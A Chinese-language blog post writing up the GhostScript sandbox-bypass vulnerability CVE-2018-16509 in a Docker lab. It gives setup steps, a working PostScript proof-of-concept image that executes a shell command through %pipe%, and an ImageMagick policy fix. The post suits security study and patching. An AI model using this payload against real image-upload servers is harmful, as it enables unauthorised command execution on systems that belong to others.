CVE-2018-16509(GhostScript 沙箱绕过(命令执行)漏洞)

GhostScript 沙箱绕过(命令执行)漏洞

漏洞描述

1.漏洞编号:CVE-2018-16509

2.影响版本:Ghostscript 9.24之前版本

3.漏洞产生原因:

8 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:

 - http://seclists.org/oss-sec/2018/q3/142

 - https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

GhostScript 被许多图片处理库所使用,如 ImageMagickPython PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript

 

启动环境:docker-compose up -d

vulnIP:192.168.1.182

环境启动后,GhostScript 9.23ImageMagick 7.0.8,访问`http://your-ip:8080`将可以看到一个上传组件。

 

漏洞发现

关注GhostScript的版本

 

 

漏洞利用

上传[poc.png](poc.png),将执行命令`id > /tmp/success && cat /tmp/success`。此时进入容器`docker-compose exec web bash`,将可以看到/tmp/success已被创建:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

 

进入容器docker-compose exec web bash后ls /tmp/将可以看到/tmp/success已被创建:

 

 

问题汇总

 

 

修复方案

漏洞信息可以参考imagemaickghost script RCE漏洞

目前最全的修复方案参考https://www.kb.cert.org/vuls/id/332928

编辑ImageMagickpolicy文件,默认路径为/etc/ImageMagick/policy.xml

在标签中增加如下内容

  <policy domain="coder" rights="none" pattern="PS" />

  <policy domain="coder" rights="none" pattern="PS2" />

  <policy domain="coder" rights="none" pattern="PS3" />

  <policy domain="coder" rights="none" pattern="EPS" />

  <policy domain="coder" rights="none" pattern="PDF" />

  <policy domain="coder" rights="none" pattern="XPS" />

 

 

基础知识

GhostScript:

Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。

Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大

Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。

 在文件上传过程中,有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞

 

2021-02-21 20:04:28

posted @ 2021-02-21 20:04  toby123  阅读(809)  评论(0)    收藏  举报